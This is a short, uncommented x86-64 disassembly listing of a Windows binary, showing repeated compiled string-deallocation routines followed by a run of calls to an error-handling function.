mov qword [rbp + 0xa8], rbx
mov qword [rbp + 0xb0], r12
mov byte [rbp + 0x98], bl
mov rdx, qword [rbp + 0x70]
cmp rdx, rdi
jb 0x14001a084
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, rsi
jb 0x14001a07f
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a263
call fcn.140026e6c
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x70], r12
mov byte [rbp + 0x58], bl
mov rdx, qword [rbp + 0xd0]
cmp rdx, rdi
jb 0x14001a0c9
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, rsi
jb 0x14001a0c4
add rdx, r14
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, r15
ja 0x14001a269
call fcn.140026e6c
mov qword [rbp + 0xc8], rbx
mov qword [rbp + 0xd0], r12
mov byte [rbp + 0xb8], bl
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14001a111
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14001a10c
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a26f
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r12
mov byte [r13], bl
mov r13, qword [rbp - 0x68]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14001a155
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14001a150
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a275
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r12
mov byte [r13], bl
mov r13, qword [rbp - 0x60]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14001a199
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14001a194
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a27b
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r12
mov byte [r13], bl
mov r13, qword [rbp - 0x58]
mov rdx, qword [r13 + 0x18]
cmp rdx, rdi
jb 0x14001a1dd
mov rcx, qword [r13]
inc rdx
cmp rdx, rsi
jb 0x14001a1d8
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a281
mov rcx, r8
call fcn.140026e6c
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], r12
mov byte [r13], bl
mov rbx, qword [rbp - 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, rdi
jb 0x140019e35
inc rdx
mov rcx, qword [rbx]
cmp rdx, rsi
jb 0x140019e30
add rdx, r14
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, r15
ja 0x14001a22d
jmp 0x140019e2d
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
int3
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
int3
call fcn.14002162c
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
int3